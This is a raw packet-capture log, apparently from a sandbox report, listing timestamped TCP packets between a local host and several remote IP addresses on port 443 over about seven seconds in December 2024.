Dec 9, 2024 18:42:50.247087002 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.248152971 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.248171091 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.315855026 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.315884113 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.315893888 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.315917969 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.315932035 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.315941095 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.315973043 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.315988064 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.316015005 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.316035986 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.327263117 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.327330112 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.327334881 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.327363014 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.327410936 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.327625990 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.327639103 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.390084028 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.390113115 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.390202045 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.390435934 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.390445948 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.481199980 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.481220961 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.481287003 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.481616020 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.481626987 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.796684980 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.796713114 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.796721935 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.796740055 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.796747923 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.796755075 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.796792984 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.796813011 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.796838045 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.796860933 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.840945959 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.840991974 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.841064930 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.841083050 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.841097116 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.892812967 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.991624117 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.991641998 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.991664886 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.991689920 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.991755009 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.991770029 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.991803885 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.991822004 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.040364027 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.040395021 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.040503025 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.040518999 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.040565968 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.047610044 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.047705889 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.090687037 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.090713978 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.090830088 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.090838909 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.090887070 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.131834030 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.131856918 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.131993055 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.131999969 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.132051945 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.207256079 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.207283020 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.207401991 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.207418919 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.207468033 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.217411995 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.217508078 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.217582941 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.217582941 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.217864990 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.217891932 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.221151114 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.221179008 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.221244097 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.221467972 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.221478939 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.227442980 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.227471113 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.227540016 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.227777958 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.227788925 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.244914055 CET	49805	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.244954109 CET	443	49805	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.245017052 CET	49805	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.246300936 CET	49805	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.246314049 CET	443	49805	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.780812025 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.781871080 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.781892061 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.782983065 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.783071995 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.783437967 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.783507109 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.783622980 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.783631086 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.834800959 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.869832039 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.871052980 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.871078014 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.872101068 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.872168064 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.876771927 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.876872063 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.878459930 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:51.878467083 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:51.927838087 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.200016022 CET	49696	443	192.168.2.17	20.190.147.6
Dec 9, 2024 18:42:52.321996927 CET	443	49696	20.190.147.6	192.168.2.17
Dec 9, 2024 18:42:52.322067022 CET	49696	443	192.168.2.17	20.190.147.6
Dec 9, 2024 18:42:52.612044096 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.612303019 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.612332106 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.612695932 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.612867117 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.612890959 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.613337040 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.613408089 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.613672972 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.613739967 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.613759995 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.613825083 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.613842964 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.613851070 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.614244938 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.614299059 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.614408016 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.614414930 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.630418062 CET	443	49805	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.630656004 CET	49805	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.630670071 CET	443	49805	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.631038904 CET	443	49805	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.631326914 CET	49805	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.631390095 CET	443	49805	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.631506920 CET	49805	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.661832094 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.661851883 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.679339886 CET	443	49805	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.977031946 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.977062941 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.977133989 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.977157116 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.977168083 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:52.977214098 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.978349924 CET	49802	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:52.978363991 CET	443	49802	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.188358068 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.188380957 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.188386917 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.188405037 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.188412905 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.188419104 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.188463926 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:53.188476086 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.188508034 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:53.188520908 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.188529968 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:53.188570976 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:53.189696074 CET	49801	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:53.189701080 CET	443	49801	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.316512108 CET	443	49790	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:53.316580057 CET	443	49790	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:53.316646099 CET	49790	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:53.515336037 CET	49790	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:53.515362978 CET	443	49790	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:53.712199926 CET	443	49805	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.712284088 CET	443	49805	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:53.712351084 CET	49805	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:53.712460995 CET	49805	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:53.712475061 CET	443	49805	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.055521011 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.055541039 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.055547953 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.055579901 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.055610895 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.055663109 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.055680990 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.055699110 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.055736065 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.096400976 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.096435070 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.096492052 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.096498966 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.096538067 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.142865896 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.145114899 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.145122051 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.145148039 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.145245075 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.145253897 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.145309925 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.268462896 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.268507957 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.268536091 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.268583059 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.268644094 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.270821095 CET	49804	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.270836115 CET	443	49804	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.288284063 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.288312912 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.288399935 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.288635969 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.288650990 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.340542078 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.340595007 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.340702057 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.340943098 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.340961933 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.375531912 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.375554085 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.375560999 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.375588894 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.375638962 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.375638008 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.375659943 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.375674963 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.375703096 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.416157007 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.416207075 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.416253090 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.416270018 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.416297913 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.455677032 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.466250896 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.466262102 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.466290951 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.466317892 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.466332912 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.466362000 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.466377974 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.508671045 CET	49808	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.508702040 CET	443	49808	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.508754015 CET	49808	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.509036064 CET	49808	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.509048939 CET	443	49808	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.589507103 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.589524984 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.589589119 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.589612961 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.589654922 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.597875118 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.597929001 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.623999119 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.624016047 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.624062061 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.624083042 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.624099016 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.624116898 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.654086113 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.654158115 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.654162884 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.654172897 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.654212952 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.771877050 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.771899939 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.771991968 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.772013903 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.772064924 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.780673981 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.780765057 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.780766010 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:54.780818939 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.781178951 CET	49803	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:54.781191111 CET	443	49803	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.680596113 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.680942059 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.680969954 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.681329966 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.681647062 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.681723118 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.681802988 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.722309113 CET	49809	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.722347021 CET	443	49809	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.722429037 CET	49809	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.722683907 CET	49809	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.722697020 CET	443	49809	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.727327108 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.732418060 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.732698917 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.732734919 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.733036041 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.733367920 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.733444929 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.733500957 CET	49807	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.779336929 CET	443	49807	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.906171083 CET	443	49808	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.906492949 CET	49808	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.906511068 CET	443	49808	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.907407999 CET	443	49808	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.907480001 CET	49808	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.908409119 CET	49808	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.908467054 CET	443	49808	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.908584118 CET	49808	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:55.908590078 CET	443	49808	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:55.959836960 CET	49808	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:56.930773973 CET	443	49808	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:56.930880070 CET	443	49808	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:56.930951118 CET	49808	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:56.931727886 CET	49808	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:56.931739092 CET	443	49808	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.117506027 CET	443	49809	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.117811918 CET	49809	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.117836952 CET	443	49809	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.118206978 CET	443	49809	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.118508101 CET	49809	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.118581057 CET	443	49809	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.118691921 CET	49809	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.141630888 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.141666889 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.141710043 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.141741037 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.141766071 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.141794920 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.163332939 CET	443	49809	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.185843945 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.257261992 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.257291079 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.257400990 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.257417917 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.257462978 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.302934885 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.302962065 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.303050041 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.303059101 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.303100109 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.432990074 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.433023930 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.433089972 CET	49806	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:57.433103085 CET	443	49806	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:57.433116913 CET	443	49806	164.92.188.247	192.168.2.17
